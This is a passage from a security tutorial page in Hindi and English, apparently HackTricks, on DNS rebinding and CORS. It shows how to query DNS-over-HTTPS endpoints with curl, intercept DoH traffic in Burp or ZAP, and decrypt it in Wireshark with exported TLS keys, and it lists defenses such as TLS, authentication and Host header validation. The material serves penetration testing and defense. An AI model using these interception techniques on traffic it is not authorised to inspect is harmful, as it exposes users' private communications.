  • आप सार्वजनिक DoH APIs को सीधे query कर सकते हैं, उदाहरण के लिए curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq ताकि आप सुनिश्चित कर सकें कि ब्राउज़र कौन से exact records को cache करेगा।
  • Burp/ZAP में DoH को intercept करना अभी भी काम करता है क्योंकि यह बस HTTPS है (बाइनरी DNS payload body में)। packet-level inspection के लिए, ब्राउज़र लॉन्च करने से पहले TLS keys export करें (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) और Wireshark को DoH sessions को decrypt करने दें और dns display filter का उपयोग करके देखें कि ब्राउज़र कब DoH पर बना रहता है या classic DNS पर fallback करता है।

Real Protection against DNS Rebinding

  • internal services में TLS का उपयोग करें
  • data तक पहुँचने के लिए authentication माँगें
  • Host header को validate करें
  • https://wicg.github.io/private-network-access/: प्रस्ताव कि public servers जब internal servers तक पहुँचने की कोशिश करें तो हमेशा एक pre-flight request भेजा जाए

Tools

Fuzz possible misconfigurations in CORS policies

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें